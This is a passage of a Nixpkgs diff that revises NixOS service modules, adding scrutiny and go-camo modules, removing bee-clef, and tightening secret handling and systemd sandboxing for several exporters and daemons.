are: + - AWS_ACCESS_KEY + - AWS_ACCESS_KEY + - TLS_PRIVATE_KEY + - HTTP_AUTH_HTPASSWD + ''; + }; + }; + + config = + let + localProvider = (cfg.provider == "local"); + stateDirectory = "/var/lib/transfer.sh"; + in + mkIf cfg.enable + { + services.transfer-sh.settings = { + LISTENER = mkDefault ":8080"; + } // optionalAttrs localProvider { + BASEDIR = mkDefault stateDirectory; + }; + + systemd.services.transfer-sh = { + after = [ "network.target" ]; + wantedBy = [ "multi-user.target" ]; + environment = mapAttrs (_: v: if isBool v then boolToString v else toString v) cfg.settings; + serviceConfig = { + CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" ]; + DevicePolicy = "closed"; + DynamicUser = true; + ExecStart = "${getExe cfg.package} --provider ${cfg.provider}"; + LockPersonality = true; + MemoryDenyWriteExecute = true; + PrivateDevices = true; + PrivateUsers = true; + ProtectClock = true; + ProtectControlGroups = true; + ProtectHostname = true; + ProtectKernelLogs = true; + ProtectKernelModules = true; + ProtectKernelTunables = true; + ProtectProc = "invisible"; + RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ]; + RestrictNamespaces = true; + RestrictRealtime = true; + SystemCallArchitectures = [ "native" ]; + SystemCallFilter = [ "@system-service" ]; + StateDirectory = baseNameOf stateDirectory; + } // optionalAttrs (cfg.secretFile != null) { + EnvironmentFile = cfg.secretFile; + } // optionalAttrs localProvider { + ReadWritePaths = cfg.settings.BASEDIR; + }; + }; + }; + + meta.maintainers = with lib.maintainers; [ ocfox ]; +} diff --git a/nixos/modules/services/monitoring/mackerel-agent.nix b/nixos/modules/services/monitoring/mackerel-agent.nix index 5915634ed26fe..d1e84c0359dc1 100644 --- a/nixos/modules/services/monitoring/mackerel-agent.nix +++ b/nixos/modules/services/monitoring/mackerel-agent.nix @@ -81,7 +81,7 @@ in { include = mkDefault "/etc/mackerel-agent/conf.d/*.conf"; }; - # upstream service file in https://git.io/JUt4Q + # upstream service file in https://github.com/mackerelio/mackerel-agent/blob/master/packaging/rpm/src/mackerel-agent.service systemd.services.mackerel-agent = { description = "mackerel.io agent"; wants = [ "network-online.target" ]; diff --git a/nixos/modules/services/monitoring/prometheus/exporters/fastly.nix b/nixos/modules/services/monitoring/prometheus/exporters/fastly.nix index 36409caccf2e3..2a8b7fc0818d5 100644 --- a/nixos/modules/services/monitoring/prometheus/exporters/fastly.nix +++ b/nixos/modules/services/monitoring/prometheus/exporters/fastly.nix @@ -1,41 +1,54 @@ -{ config, lib, pkgs, options }: +{ config +, lib +, pkgs +, options +}: -with lib; +let + inherit (lib) + escapeShellArgs + mkOption + optionals + types + ; -let cfg = config.services.prometheus.exporters.fastly; + cfg = config.services.prometheus.exporters.fastly; in { port = 9118; - extraOpts = { - debug = mkEnableOption (lib.mdDoc "Debug logging mode for fastly-exporter"); - + extraOpts = with types; { configFile = mkOption { - type = types.nullOr types.path; + type = nullOr path; default = null; - description = lib.mdDoc '' + example = "./fastly-exporter-config.txt"; + description = '' Path to a fastly-exporter configuration file. Example one can be generated with `fastly-exporter --config-file-example`. ''; - example = "./fastly-exporter-config.txt"; }; tokenPath = mkOption { - type = types.nullOr types.path; - apply = final: if final == null then null else toString final; - description = lib.mdDoc '' + type = path; + description = '' A run-time path to the token file, which is supposed to be provisioned outside of Nix store. ''; }; }; serviceOpts = { - script = '' - ${optionalString (cfg.tokenPath != null) - "export FASTLY_API_TOKEN=$(cat ${toString cfg.tokenPath})"} - ${pkgs.prometheus-fastly-exporter}/bin/fastly-exporter \ - -listen http://${cfg.listenAddress}:${toString cfg.port} - ${optionalString cfg.debug "-debug true"} \ - ${optionalString (cfg.configFile != null) "-config-file ${cfg.configFile}"} + serviceConfig = { + LoadCredential = "fastly-api-token:${cfg.tokenPath}"; + }; + script = let + call = escapeShellArgs ([ + "${pkgs.prometheus-fastly-exporter}/bin/fastly-exporter" + "-listen" "${cfg.listenAddress}:${toString cfg.port}" + ] ++ optionals (cfg.configFile != null) [ + "--config-file" cfg.configFile + ] ++ cfg.extraFlags); + in '' + export FASTLY_API_TOKEN="$(cat $CREDENTIALS_DIRECTORY/fastly-api-token)" + ${call} ''; }; } diff --git a/nixos/modules/services/monitoring/prometheus/exporters/nut.nix b/nixos/modules/services/monitoring/prometheus/exporters/nut.nix index 1c86b48b4509b..e58a394456a38 100644 --- a/nixos/modules/services/monitoring/prometheus/exporters/nut.nix +++ b/nixos/modules/services/monitoring/prometheus/exporters/nut.nix @@ -36,6 +36,17 @@ in provisioned outside of Nix store. ''; }; + nutVariables = mkOption { + type = types.listOf types.str; + default = [ ]; + description = '' + List of NUT variable names to monitor. + + If no variables are set, all numeric variables will be exported automatically. + See the [upstream docs](https://github.com/DRuggeri/nut_exporter?tab=readme-ov-file#variables-and-information) + for more information. + ''; + }; }; serviceOpts = { script = '' @@ -44,7 +55,9 @@ in ${pkgs.prometheus-nut-exporter}/bin/nut_exporter \ --nut.server=${cfg.nutServer} \ --web.listen-address="${cfg.listenAddress}:${toString cfg.port}" \ - ${optionalString (cfg.nutUser != "") "--nut.username=${cfg.nutUser}"} + ${optionalString (cfg.nutUser != "") "--nut.username=${cfg.nutUser}"} \ + ${optionalString (cfg.nutVariables != []) "--nut.vars_enable=${concatStringsSep "," cfg.nutVariables}"} \ + ${concatStringsSep " " cfg.extraFlags} ''; }; } diff --git a/nixos/modules/services/monitoring/prometheus/exporters/restic.nix b/nixos/modules/services/monitoring/prometheus/exporters/restic.nix index 5b32c93a666da..977bd42e9812e 100644 --- a/nixos/modules/services/monitoring/prometheus/exporters/restic.nix +++ b/nixos/modules/services/monitoring/prometheus/exporters/restic.nix @@ -93,12 +93,14 @@ in }; serviceOpts = { + script = '' + export RESTIC_PASSWORD_FILE=$CREDENTIALS_DIRECTORY/RESTIC_PASSWORD_FILE + ${pkgs.prometheus-restic-exporter}/bin/restic-exporter.py \ + ${concatStringsSep " \\\n " cfg.extraFlags} + ''; serviceConfig = { - ExecStart = '' - ${pkgs.prometheus-restic-exporter}/bin/restic-exporter.py \ - ${concatStringsSep " \\\n " cfg.extraFlags} - ''; EnvironmentFile = mkIf (cfg.environmentFile != null) cfg.environmentFile; + LoadCredential = [ "RESTIC_PASSWORD_FILE:${cfg.passwordFile}" ]; }; environment = let @@ -108,8 +110,7 @@ in toRcloneVal = v: if lib.isBool v then lib.boolToString v else v; in { - RESTIC_REPO_URL = cfg.repository; - RESTIC_REPO_PASSWORD_FILE = cfg.passwordFile; + RESTIC_REPOSITORY = cfg.repository; LISTEN_ADDRESS = cfg.listenAddress; LISTEN_PORT = toString cfg.port; REFRESH_INTERVAL = toString cfg.refreshInterval; diff --git a/nixos/modules/services/monitoring/scrutiny.nix b/nixos/modules/services/monitoring/scrutiny.nix new file mode 100644 index 0000000000000..454668a9a128d --- /dev/null +++ b/nixos/modules/services/monitoring/scrutiny.nix @@ -0,0 +1,221 @@ +{ config, lib, pkgs, ... }: +let + cfg = config.services.scrutiny; + # Define the settings format used for this program + settingsFormat = pkgs.formats.yaml { }; +in +{ + options = { + services.scrutiny = { + enable = lib.mkEnableOption "Enables the scrutiny web application."; + + package = lib.mkPackageOptionMD pkgs "scrutiny" { }; + + openFirewall = lib.mkOption { + type = lib.types.bool; + default = false; + description = "Open the default ports in the firewall for Scrutiny."; + }; + + influxdb.enable = lib.mkOption { + type = lib.types.bool; + default = true; + description = lib.mdDoc '' + Enables InfluxDB on the host system using the `services.influxdb2` NixOS module + with default options. + + If you already have InfluxDB configured, or wish to connect to an external InfluxDB + instance, disable this option. + ''; + }; + + settings = lib.mkOption { + description = lib.mdDoc '' + Scrutiny settings to be rendered into the configuration file. + + See https://github.com/AnalogJ/scrutiny/blob/master/example.scrutiny.yaml. + ''; + default = { }; + type = lib.types.submodule { + freeformType = settingsFormat.type; + + options.web.listen.port = lib.mkOption { + type = lib.types.port; + default = 8080; + description = lib.mdDoc "Port for web application to listen on."; + }; + + options.web.listen.host = lib.mkOption { + type = lib.types.str; + default = "0.0.0.0"; + description = lib.mdDoc "Interface address for web application to bind to."; + }; + + options.web.listen.basepath = lib.mkOption { + type = lib.types.str; + default = ""; + example = "/scrutiny"; + description = lib.mdDoc '' + If Scrutiny will be behind a path prefixed reverse proxy, you can override this + value to serve Scrutiny on a subpath. + ''; + }; + + options.log.level = lib.mkOption { + type = lib.types.enum [ "INFO" "DEBUG" ]; + default = "INFO"; + description = lib.mdDoc "Log level for Scrutiny."; + }; + + options.web.influxdb.scheme = lib.mkOption { + type = lib.types.str; + default = "http"; + description = lib.mdDoc "URL scheme to use when connecting to InfluxDB."; + }; + + options.web.influxdb.host = lib.mkOption { + type = lib.types.str; + default = "0.0.0.0"; + description = lib.mdDoc "IP or hostname of the InfluxDB instance."; + }; + + options.web.influxdb.port = lib.mkOption { + type = lib.types.port; + default = 8086; + description = lib.mdDoc "The port of the InfluxDB instance."; + }; + + options.web.influxdb.tls.insecure_skip_verify = lib.mkOption { + type = lib.types.bool; + default = false; + description = lib.mdDoc "Skip TLS verification when connecting to InfluxDB."; + }; + + options.web.influxdb.token = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = null; + description = lib.mdDoc "Authentication token for connecting to InfluxDB."; + }; + + options.web.influxdb.org = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = null; + description = lib.mdDoc "InfluxDB organisation under which to store data."; + }; + + options.web.influxdb.bucket = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = null; + description = lib.mdDoc "InfluxDB bucket in which to store data."; + }; + }; + }; + + collector = { + enable = lib.mkEnableOption "Enables the scrutiny metrics collector."; + + package = lib.mkPackageOptionMD pkgs "scrutiny-collector" { }; + + schedule = lib.mkOption { + type = lib.types.str; + default = "*:0/15"; + description = lib.mdDoc '' + How often to run the collector in systemd calendar format. + ''; + }; + + settings = lib.mkOption { + description = lib.mdDoc '' + Collector settings to be rendered into the collector configuration file. + + See https://github.com/AnalogJ/scrutiny/blob/master/example.collector.yaml. + ''; + default = { }; + type = lib.types.submodule { + freeformType = settingsFormat.type; + + options.host.id = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = null; + description = lib.mdDoc "Host ID for identifying/labelling groups of disks"; + }; + + options.api.endpoint = lib.mkOption { + type = lib.types.str; + default = "http://localhost:8080"; + description = lib.mdDoc "Scrutiny app API endpoint for sending metrics to."; + }; + + options.log.level = lib.mkOption { + type = lib.types.enum [ "INFO" "DEBUG" ]; + default = "INFO"; + description = lib.mdDoc "Log level for Scrutiny collector."; + }; + }; + }; + }; + }; + }; + + config = lib.mkIf (cfg.enable || cfg.collector.enable) { + services.influxdb2.enable = cfg.influxdb.enable; + + networking.firewall = lib.mkIf cfg.openFirewall { + allowedTCPPorts = [ cfg.settings.web.listen.port ]; + }; + + services.smartd = lib.mkIf cfg.collector.enable { + enable = true; + extraOptions = [ + "-A /var/log/smartd/" + "--interval=600" + ]; + }; + + systemd = { + services = { + scrutiny = lib.mkIf cfg.enable { + description = "Hard Drive S.M.A.R.T Monitoring, Historical Trends & Real World Failure Thresholds"; + wantedBy = [ "multi-user.target" ]; + after = [ "network.target" ]; + environment = { + SCRUTINY_VERSION = "1"; + SCRUTINY_WEB_DATABASE_LOCATION = "/var/lib/scrutiny/scrutiny.db"; + SCRUTINY_WEB_SRC_FRONTEND_PATH = "${cfg.package}/share/scrutiny"; + }; + serviceConfig = { + DynamicUser = true; + ExecStart = "${lib.getExe cfg.package} start --config ${settingsFormat.generate "scrutiny.yaml" cfg.settings}"; + Restart = "always"; + StateDirectory = "scrutiny"; + StateDirectoryMode = "0750"; + }; + }; + + scrutiny-collector = lib.mkIf cfg.collector.enable { + description = "Scrutiny Collector Service"; + environment = { + COLLECTOR_VERSION = "1"; + COLLECTOR_API_ENDPOINT = cfg.collector.settings.api.endpoint; + }; + serviceConfig = { + Type = "oneshot"; + ExecStart = "${lib.getExe cfg.collector.package} run --config ${settingsFormat.generate "scrutiny-collector.yaml" cfg.collector.settings}"; + }; + }; + }; + + timers = lib.mkIf cfg.collector.enable { + scrutiny-collector = { + timerConfig = { + OnCalendar = cfg.collector.schedule; + Persistent = true; + Unit = "scrutiny-collector.service"; + }; + }; + }; + }; + }; + + meta.maintainers = [ lib.maintainers.jnsgruk ]; +} diff --git a/nixos/modules/services/networking/bee-clef.nix b/nixos/modules/services/networking/bee-clef.nix deleted file mode 100644 index 75e76f019a71f..0000000000000 --- a/nixos/modules/services/networking/bee-clef.nix +++ /dev/null @@ -1,107 +0,0 @@ -{ config, lib, pkgs, ... }: - -# NOTE for now nothing is installed into /etc/bee-clef/. the config files are used as read-only from the nix store. - -with lib; -let - cfg = config.services.bee-clef; -in { - meta = { - maintainers = with maintainers; [ attila-lendvai ]; - }; - - ### interface - - options = { - services.bee-clef = { - enable = mkEnableOption (lib.mdDoc "clef external signer instance for Ethereum Swarm Bee"); - - dataDir = mkOption { - type = types.nullOr types.str; - default = "/var/lib/bee-clef"; - description = lib.mdDoc '' - Data dir for bee-clef. Beware that some helper scripts may not work when changed! - The service itself should work fine, though. - ''; - }; - - passwordFile = mkOption { - type = types.nullOr types.str; - default = "/var/lib/bee-clef/password"; - description = lib.mdDoc "Password file for bee-clef."; - }; - - user = mkOption { - type = types.str; - default = "bee-clef"; - description = lib.mdDoc '' - User the bee-clef daemon should execute under. - ''; - }; - - group = mkOption { - type = types.str; - default = "bee-clef"; - description = lib.mdDoc '' - Group the bee-clef daemon should execute under. - ''; - }; - }; - }; - - ### implementation - - config = mkIf cfg.enable { - # if we ever want to have rules.js under /etc/bee-clef/ - # environment.etc."bee-clef/rules.js".source = ${pkgs.bee-clef}/rules.js - - systemd.packages = [ pkgs.bee-clef ]; # include the upstream bee-clef.service file - - systemd.tmpfiles.rules = [ - "d '${cfg.dataDir}/' 0750 ${cfg.user} ${cfg.group}" - "d '${cfg.dataDir}/keystore' 0700 ${cfg.user} ${cfg.group}" - ]; - - systemd.services.bee-clef = { - path = [ - # these are needed for the ensure-clef-account script - pkgs.coreutils - pkgs.gnused - pkgs.gawk - ]; - - wantedBy = [ "bee.service" "multi-user.target" ]; - - serviceConfig = { - User = cfg.user; - Group = cfg.group; - ExecStartPre = ''${pkgs.bee-clef}/share/bee-clef/ensure-clef-account "${cfg.dataDir}" "${pkgs.bee-clef}/share/bee-clef/"''; - ExecStart = [ - "" # this hides/overrides what's in the original entry - "${pkgs.bee-clef}/share/bee-clef/bee-clef-service start" - ]; - ExecStop = [ - "" # this hides/overrides what's in the original entry - "${pkgs.bee-clef}/share/bee-clef/bee-clef-service stop" - ]; - Environment = [ - "CONFIGDIR=${cfg.dataDir}" - "PASSWORD_FILE=${cfg.passwordFile}" - ]; - }; - }; - - users.users = optionalAttrs (cfg.user == "bee-clef") { - bee-clef = { - group = cfg.group; - home = cfg.dataDir; - isSystemUser = true; - description = "Daemon user for the bee-clef service"; - }; - }; - - users.groups = optionalAttrs (cfg.group == "bee-clef") { - bee-clef = {}; - }; - }; -} diff --git a/nixos/modules/services/networking/bee.nix b/nixos/modules/services/networking/bee.nix index 962cfd30c3fe9..a4d20494bf6b9 100644 --- a/nixos/modules/services/networking/bee.nix +++ b/nixos/modules/services/networking/bee.nix @@ -8,7 +8,7 @@ let in { meta = { # doc = ./bee.xml; - maintainers = with maintainers; [ attila-lendvai ]; + maintainers = with maintainers; [ ]; }; ### interface @@ -73,13 +73,10 @@ in { } ]; - warnings = optional (! config.services.bee-clef.enable) "The bee service requires an external signer. Consider setting `config.services.bee-clef.enable` = true"; - services.bee.settings = { data-dir = lib.mkDefault "/var/lib/bee"; password-file = lib.mkDefault "/var/lib/bee/password"; clef-signer-enable = lib.mkDefault true; - clef-signer-endpoint = lib.mkDefault "/var/lib/bee-clef/clef.ipc"; swap-endpoint = lib.mkDefault "https://rpc.slock.it/goerli"; }; @@ -90,9 +87,6 @@ in { ]; systemd.services.bee = { - requires = optional config.services.bee-clef.enable - "bee-clef.service"; - wantedBy = [ "multi-user.target" ]; serviceConfig = { @@ -120,7 +114,6 @@ Bee has SWAP enabled by default and it needs ethereum endpoint to operate. It is recommended to use external signer with bee. Check documentation for more info: - SWAP https://docs.ethswarm.org/docs/installation/manual#swap-bandwidth-incentives -- External signer https://docs.ethswarm.org/docs/installation/bee-clef After you finish configuration run 'sudo bee-get-addr'." fi @@ -133,8 +126,6 @@ After you finish configuration run 'sudo bee-get-addr'." home = cfg.settings.data-dir; isSystemUser = true; description = "Daemon user for Ethereum Swarm Bee"; - extraGroups = optional config.services.bee-clef.enable - config.services.bee-clef.group; }; }; diff --git a/nixos/modules/services/networking/bird-lg.nix b/nixos/modules/services/networking/bird-lg.nix index be9f4101e6abe..1c59f7a6ae7c6 100644 --- a/nixos/modules/services/networking/bird-lg.nix +++ b/nixos/modules/services/networking/bird-lg.nix @@ -194,8 +194,8 @@ in allowedIPs = mkOption { type = types.listOf types.str; default = [ ]; - example = [ "192.168.25.52" "192.168.25.53" ]; - description = lib.mdDoc "List of IPs to allow (default all allowed)."; + example = [ "192.168.25.52" "192.168.25.53" "192.168.0.0/24" ]; + description = lib.mdDoc "List of IPs or networks to allow (default all allowed)."; }; birdSocket = mkOption { diff --git a/nixos/modules/services/networking/dhcpcd.nix b/nixos/modules/services/networking/dhcpcd.nix index 266a7ea1435e1..8d5ac02ba88be 100644 --- a/nixos/modules/services/networking/dhcpcd.nix +++ b/nixos/modules/services/networking/dhcpcd.nix @@ -13,6 +13,8 @@ let enableDHCP = config.networking.dhcpcd.enable && (config.networking.useDHCP || any (i: i.useDHCP == true) interfaces); + enableNTPService = (config.services.ntp.enable || config.services.ntpd-rs.enable || config.services.openntpd.enable || config.services.chrony.enable); + # Don't start dhcpcd on explicitly configured interfaces or on # interfaces that are part of a bridge, bond or sit device. ignoredInterfaces = @@ -89,20 +91,22 @@ let ${cfg.extraConfig} ''; - exitHook = pkgs.writeText "dhcpcd.exit-hook" - '' + exitHook = pkgs.writeText "dhcpcd.exit-hook" '' + ${optionalString enableNTPService '' if [ "$reason" = BOUND -o "$reason" = REBOOT ]; then - # Restart ntpd. We need to restart it to make sure that it - # will actually do something: if ntpd cannot resolve the - # server hostnames in its config file, then it will never do - # anything ever again ("couldn't resolve ..., giving up on - # it"), so we silently lose time synchronisation. This also - # applies to openntpd. - /run/current-system/systemd/bin/systemctl try-reload-or-restart ntpd.service openntpd.service chronyd.service ntpd-rs.service || true + # Restart ntpd. We need to restart it to make sure that it will actually do something: + # if ntpd cannot resolve the server hostnames in its config file, then it will never do + # anything ever again ("couldn't resolve ..., giving up on it"), so we silently lose + # time synchronisation. This also applies to openntpd. + ${optionalString config.services.ntp.enable "/run/current-system/systemd/bin/systemctl try-reload-or-restart ntpd.service || true"} + ${optionalString config.services.ntpd-rs.enable "/run/current-system/systemd/bin/systemctl try-reload-or-restart ntpd-rs.service || true"} + ${optionalString config.services.openntpd.enable "/run/current-system/systemd/bin/systemctl try-reload-or-restart openntpd.service || true"} + ${optionalString config.services.chrony.enable "/run/current-system/systemd/bin/systemctl try-reload-or-restart chronyd.service || true"} fi + ''} - ${cfg.runHook} - ''; + ${cfg.runHook} + ''; in @@ -232,7 +236,7 @@ in wants = [ "network.target" ]; before = [ "network-online.target" ]; - restartTriggers = [ exitHook ]; + restartTriggers = optional (enableNTPService || cfg.runHook != "") [ exitHook ]; # Stopping dhcpcd during a reconfiguration is undesirable # because it brings down the network interfaces configured by @@ -261,7 +265,9 @@ in environment.systemPackages = [ dhcpcd ]; - environment.etc."dhcpcd.exit-hook".source = exitHook; + environment.etc."dhcpcd.exit-hook" = mkIf (enableNTPService || cfg.runHook != "") { + source = exitHook; + }; powerManagement.resumeCommands = mkIf config.systemd.services.dhcpcd.enable '' diff --git a/nixos/modules/services/networking/go-camo.nix b/nixos/modules/services/networking/go-camo.nix new file mode 100644 index 0000000000000..cb3b6eade4644 --- /dev/null +++ b/nixos/modules/services/networking/go-camo.nix @@ -0,0 +1,73 @@ +{ lib, pkgs, config, ... }: + +let + cfg = config.services.go-camo; + inherit (lib) mkOption mkEnableOption mkIf mkMerge types optionalString; +in +{ + options.services.go-camo = { + enable = mkEnableOption "go-camo service"; + listen = mkOption { + type = types.nullOr types.str; + default = null; + description = "Address:Port to bind to for HTTP (default: 0.0.0.0:8080)."; + apply = v: optionalString (v != null) "--listen=${v}"; + }; + sslListen = mkOption { + type = types.nullOr types.str; + default = null; + description = "Address:Port to bind to for HTTPS."; + apply = v: optionalString (v != null) "--ssl-listen=${v}"; + }; + sslKey = mkOption { + type = types.nullOr types.path; + default = null; + description = "Path to TLS private key."; + apply = v: optionalString (v != null) "--ssl-key=${v}"; + }; + sslCert = mkOption { + type = types.nullOr types.path; + default = null; + description = "Path to TLS certificate."; + apply = v: optionalString (v != null) "--ssl-cert=${v}"; + }; + keyFile = mkOption { + type = types.path; + default = null; + description = '' + A file containing the HMAC key to use for signing URLs. + The file can contain any string. Can be generated using "openssl rand -base64 18 > the_file". + ''; + }; + extraOptions = mkOption { + type = with types; listOf str; + default = []; + description = "Extra options passed to the go-camo command."; + }; + }; + + config = mkIf cfg.enable { + systemd.services.go-camo = { + description = "go-camo service"; + wantedBy = [ "multi-user.target" ]; + after = [ "network.target" ]; + environment = { + GOCAMO_HMAC_FILE = "%d/hmac"; + }; + script = '' + export GOCAMO_HMAC=$(cat "$GOCAMO_HMAC_FILE") + exec ${lib.escapeShellArgs(lib.lists.remove "" ([ "${pkgs.go-camo}/bin/go-camo" cfg.listen cfg.sslListen cfg.sslKey cfg.sslCert ] ++ cfg.extraOptions))} + ''; + serviceConfig = { + NoNewPrivileges = true; + ProtectSystem = "strict"; + DynamicUser = true; + User = "gocamo"; + Group = "gocamo"; + LoadCredential = [ + "hmac:${cfg.keyFile}" + ]; + }; + }; + }; +} diff --git a/nixos/modules/services/networking/knot.nix b/nixos/modules/services/networking/knot.nix index 94c32586736a5..6488a159b3b73 100644 --- a/nixos/modules/services/networking/knot.nix +++ b/nixos/modules/services/networking/knot.nix @@ -1,8 +1,36 @@ -{ config, lib, pkgs, ... }: +{ config, lib, pkgs, utils, ... }: -with lib; let + inherit (lib) + attrNames + concatMapStrings + concatMapStringsSep + concatStrings + concatStringsSep + elem + filter + flip + hasAttr + hasPrefix + isAttrs + isBool + isDerivation + isList + mapAttrsToList + mkChangedOptionModule + mkEnableOption + mkIf + mkOption + mkPackageOption + optionals + types + ; + + inherit (utils) + escapeSystemdExecArgs + ; + cfg = config.services.knot; yamlConfig = let @@ -113,8 +141,7 @@ let mkConfigFile = configString: pkgs.writeTextFile { name = "knot.conf"; text = (concatMapStringsSep "\n" (file: "include: ${file}") cfg.keyFiles) + "\n" + configString; - # TODO: maybe we could do some checks even when private keys complicate this? - checkPhase = lib.optionalString (cfg.keyFiles == []) '' + checkPhase = lib.optionalString cfg.checkConfig '' ${cfg.package}/bin/knotc --config=$out conf-check ''; }; @@ -142,12 +169,45 @@ let in { options = { services.knot = { - enable = mkEnableOption (lib.mdDoc "Knot authoritative-only DNS server"); + enable = mkEnableOption "Knot authoritative-only DNS server"; + + enableXDP = mkOption { + type = types.bool; + default = lib.hasAttrByPath [ "xdp" "listen" ] cfg.settings; + defaultText = '' + Enabled when the `xdp.listen` setting is configured through `settings`. + ''; + example = true; + description = '' + Extends the systemd unit with permissions to allow for the use of + the eXpress Data Path (XDP). + + ::: {.note} + Make sure to read up on functional [limitations](https://www.knot-dns.cz/docs/latest/singlehtml/index.html#mode-xdp-limitations) + when running in XDP mode. + ::: + ''; + }; + + checkConfig = mkOption { + type = types.bool; + # TODO: maybe we could do some checks even when private keys complicate this? + # conf-check fails hard on missing IPs/devices with XDP + default = cfg.keyFiles == [] && !cfg.enableXDP; + defaultText = '' + Disabled when the config uses `keyFiles` or `enableXDP`. + ''; + example = false; + description = '' + Toggles the configuration test at build time. It runs in a + sandbox, and therefore cannot be used in all scenarios. + ''; + }; extraArgs = mkOption { type = types.listOf types.str; default = []; - description = lib.mdDoc '' + description = '' List of additional command line parameters for knotd ''; }; @@ -155,7 +215,7 @@ in { keyFiles = mkOption { type = types.listOf types.path; default = []; - description = lib.mdDoc '' + description = '' A list of files containing additional configuration to be included using the include directive. This option allows to include configuration like TSIG keys without @@ -168,7 +228,7 @@ in { settings = mkOption { type = types.attrs; default = {}; - description = lib.mdDoc '' + description = '' Extra configuration as nix values. ''; }; @@ -176,7 +236,7 @@ in { settingsFile = mkOption { type = types.nullOr types.path; default = null; - description = lib.mdDoc '' + description = '' As alternative to ``settings``, you can provide whole configuration directly in the almost-YAML format of Knot DNS. You might want to utilize ``pkgs.writeText "knot.conf" "longConfigString"`` for this. @@ -210,19 +270,35 @@ in { wants = [ "network.target" ]; after = ["network.target" ]; - serviceConfig = { + serviceConfig = let + # https://www.knot-dns.cz/docs/3.3/singlehtml/index.html#pre-requisites + xdpCapabilities = lib.optionals (cfg.enableXDP) [ + "CAP_NET_ADMIN" + "CAP_NET_RAW" + "CAP_SYS_ADMIN" + "CAP_IPC_LOCK" + ] ++ lib.optionals (lib.versionOlder config.boot.kernelPackages.kernel.version "5.11") [ + "CAP_SYS_RESOURCE" + ]; + in { Type = "notify"; - ExecStart = "${cfg.package}/bin/knotd --config=${configFile} --socket=${socketFile} ${concatStringsSep " " cfg.extraArgs}"; - ExecReload = "${knot-cli-wrappers}/bin/knotc reload"; + ExecStart = escapeSystemdExecArgs ([ + (lib.getExe cfg.package) + "--config=${configFile}" + "--socket=${socketFile}" + ] ++ cfg.extraArgs); + ExecReload = escapeSystemdExecArgs [ + "${knot-cli-wrappers}/bin/knotc" "reload" + ]; User = "knot"; Group = "knot"; AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" - ]; + ] ++ xdpCapabilities; CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" - ]; + ] ++ xdpCapabilities; DeviceAllow = ""; DevicePolicy = "closed"; LockPersonality = true; @@ -247,6 +323,9 @@ in { "AF_INET" "AF_INET6" "AF_UNIX" + ] ++ optionals (cfg.enableXDP) [ + "AF_NETLINK" + "AF_XDP" ]; RestrictNamespaces = true; RestrictRealtime =true; @@ -258,6 +337,8 @@ in { SystemCallFilter = [ "@system-service" "~@privileged" + ] ++ optionals (cfg.enableXDP) [ + "bpf" ]; UMask = "0077"; }; diff --git a/nixos/modules/services/networking/mosquitto.nix b/nixos/modules/services/networking/mosquitto.nix index ad9eefb422525..4a08f5ed23709 100644 --- a/nixos/modules/services/networking/mosquitto.nix +++ b/nixos/modules/services/networking/mosquitto.nix @@ -177,17 +177,6 @@ let '' ++ hashedLines)); - makeACLFile = idx: users: supplement: - pkgs.writeText "mosquitto-acl-${toString idx}.conf" - (concatStringsSep - "\n" - (flatten [ - supplement - (mapAttrsToList - (n: u: [ "user ${n}" ] ++ map (t: "topic ${t}") u.acl) - users) - ])); - authPluginOptions = with types; submodule { options = { plugin = mkOption { @@ -342,7 +331,7 @@ let formatListener = idx: listener: [ "listener ${toString listener.port} ${toString listener.address}" - "acl_file ${makeACLFile idx listener.users listener.acl}" + "acl_file /etc/mosquitto/acl-${toString idx}.conf" ] ++ optional (! listener.omitPasswordAuth) "password_file ${cfg.dataDir}/passwd-${toString idx}" ++ formatFreeform {} listener.settings @@ -698,6 +687,27 @@ in cfg.listeners); }; + environment.etc = listToAttrs ( + imap0 + (idx: listener: { + name = "mosquitto/acl-${toString idx}.conf"; + value = { + user = config.users.users.mosquitto.name; + group = config.users.users.mosquitto.group; + mode = "0400"; + text = (concatStringsSep + "\n" + (flatten [ + listener.acl + (mapAttrsToList + (n: u: [ "user ${n}" ] ++ map (t: "topic ${t}") u.acl) + listener.users) + ])); + }; + }) + cfg.listeners + ); + users.users.mosquitto = { description = "Mosquitto MQTT Broker Daemon owner"; group = "mosquitto"; diff --git a/nixos/modules/services/networking/sabnzbd.nix b/nixos/modules/services/networking/sabnzbd.nix index cff2622b38e90..2f0d17ad3d177 100644 --- a/nixos/modules/services/networking/sabnzbd.nix +++ b/nixos/modules/services/networking/sabnzbd.nix @@ -36,6 +36,14 @@ in default = "sabnzbd"; description = lib.mdDoc "Group to run the service as"; }; + + openFirewall = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Open ports in the firewall for the sabnzbd web interface + ''; + }; }; }; @@ -43,17 +51,16 @@ in ###### implementation config = mkIf cfg.enable { - - users.users.sabnzbd = { - uid = config.ids.uids.sabnzbd; - group = "sabnzbd"; - description = "sabnzbd user"; - home = "/var/lib/sabnzbd/"; - createHome = true; + users.users = mkIf (cfg.user == "sabnzbd") { + sabnzbd = { + uid = config.ids.uids.sabnzbd; + group = cfg.group; + description = "sabnzbd user"; + }; }; - users.groups.sabnzbd = { - gid = config.ids.gids.sabnzbd; + users.groups = mkIf (cfg.group == "sabnzbd") { + sabnzbd.gid = config.ids.gids.sabnzbd; }; systemd.services.sabnzbd = { @@ -63,10 +70,15 @@ in serviceConfig = { Type = "forking"; GuessMainPID = "no"; - User = "${cfg.user}"; - Group = "${cfg.group}"; + User = cfg.user; + Group = cfg.group; + StateDirectory = "sabnzbd"; ExecStart = "${lib.getBin cfg.package}/bin/sabnzbd -d -f ${cfg.configFile}"; }; }; + + networking.firewall = mkIf cfg.openFirewall { + allowedTCPPorts = [ 8080 ]; + }; }; } diff --git a/nixos/modules/services/networking/searx.nix b/nixos/modules/services/networking/searx.nix index 938d585e31793..5bbf875f0d57b 100644 --- a/nixos/modules/services/networking/searx.nix +++ b/nixos/modules/services/networking/searx.nix @@ -213,7 +213,7 @@ in serviceConfig = { User = "searx"; Group = "searx"; - ExecStart = "${cfg.package}/bin/searx-run"; + ExecStart = lib.getExe cfg.package; } // optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = builtins.toPath cfg.environmentFile; }; environment = { diff --git 